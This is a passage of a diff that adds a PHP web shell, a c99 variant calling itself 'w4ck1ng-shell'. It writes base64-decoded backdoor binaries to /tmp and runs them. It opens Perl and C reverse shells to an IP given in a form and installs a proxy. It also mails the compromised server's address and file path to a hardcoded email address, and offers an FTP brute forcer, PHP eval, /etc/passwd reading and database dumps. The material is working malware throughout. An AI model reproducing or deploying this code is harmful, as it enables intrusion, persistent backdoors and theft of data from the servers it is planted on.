@ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +} + + +function checkproxyhost(){ +$host = getenv("HTTP_HOST"); +$filename = '/tmp/.setan/xh'; +if (file_exists($filename)) { +$_POST['proxyhostmsg']="</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>"; +} else { +$_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>"; + } +} + +if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) +{ + $ip = gethostbyname($_SERVER["HTTP_HOST"]); + $por = $_POST['backconnectport']; + if(is_writable(".")){ + cfb("shbd",$backdoor); + ex("chmod 777 shbd"); + $cmd = "./shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; + }else{ + cfb("/tmp/shbd",$backdoor); + ex("chmod 777 /tmp/shbd"); + $cmd = "./tmp/shbd $por"; + exec("$cmd > /dev/null &"); + $scan = myshellexec("ps aux"); + if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } + $_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) +{ + if(is_writable(".")){ + cf("back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("back")) { unlink("back"); } + }else{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + if (file_exists("/tmp/back")) { unlink("/tmp/back"); } +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) +{ + if(is_writable(".")){ + cf("backc",$back_connect_c); + ex("chmod 777 backc"); + //$blah = ex("gcc back.c -o backc"); + $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("backc")) { unlink("backc"); } + }else{ + ex("chmod 777 /tmp/backc"); + cf("/tmp/backc",$back_connect_c); + //$blah = ex("gcc -o /tmp/backc /tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); + $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; + //if (file_exists("back.c")) { unlink("back.c"); } + if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function cfb($fname,$text) +{ + $w_file=@fopen($fname,"w") or bberr(); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} + +function err() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>"; +} + +function bberr() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>"; +} + +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} + +ini_set("memory_limit","300M"); +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +if (!function_exists("file_get_contents")) { function file_get_contents($filename){ $handle = fopen($filename, "r"); $retval = fread($handle, filesize($filename)); fclose($handle);return $retval;}} +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +$r11 = $_SERVER['SERVER_ADDR'];$i94 = $_SERVER['REMOTE_ADDR'];$i71= gethostbyaddr($i94);$h42 = $_SERVER['HTTP_HOST'];$a83 = $_SERVER['REQUEST_URI'];$p77 = __FILE__;$s33 = str_replace('.', '', $r11);$e85 = 'c00lhell@hotmail.com';$f55 = "From: $s33 <c00lhell@hotmail.com>";$m852 = "$i94\n$i71\n\n$h42$a83\n$p77";@mail($e85, $s33, $m852, $f55); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} +$shver = "w4ck1ng-shell (Private Build v0.3)"; +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; +} +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; +} +$surl = htmlspecialchars($surl); +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. +$login = ""; +$pass = ""; +$md5_pass = ""; +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Apache Error: Restricted File"; +$accessdeniedmess = "access denied"; +$gzipencode = TRUE; +$filestealth = TRUE; //if TRUE, don't change modify- and access-time +$donated_html = ""; +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. +$curdir = "./"; +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; +$tmpdir_log = "./"; +$log_email = "c00lhell@hotmail.com"; +$sort_default = "0a"; +$sort_save = TRUE; +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","c",".bash_history","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); +$safemode_diskettes = array("a"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + + +$sess_cookie = "c99shvars"; // Cookie-variable name + + + +//Quick launch +$quicklaunch = array( + array("<hr><b>[Home]</b>",$surl), + array("<b>[Search]</b>",$surl."act=search&d=%d"), + array("<b>[Encoder]</b>",$surl."act=encoder&d=%d"), + array("<b>[Processes]</b>",$surl."act=processes&d=%d"), + array("<b>[FTP Brute Forcer]</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>[Server Information]</b>",$surl."act=security&d=%d"), + array("<b>[SQL Manager]</b>",$surl."act=sql&d=%d"), + array("<b>[Eval PHP code]</b>",$surl."act=eval&d=%d&eval=//readfile('/etc/passwd');"), + array("<b>[Back-Connection]</b>",$surl."act=backc"), + array("<b>[Self remove]</b>",$surl."act=selfremove"), + array("<b>[Install Proxy]</b>",$surl."act=proxy"), + array("<b>[Backdoor Host]</b>",$surl."act=shbd"), +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("Access Denied");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img"){ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("mysql_dump")){ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by ".$shver." +# Home page: http://w4ck1ng.com +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "?<a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); 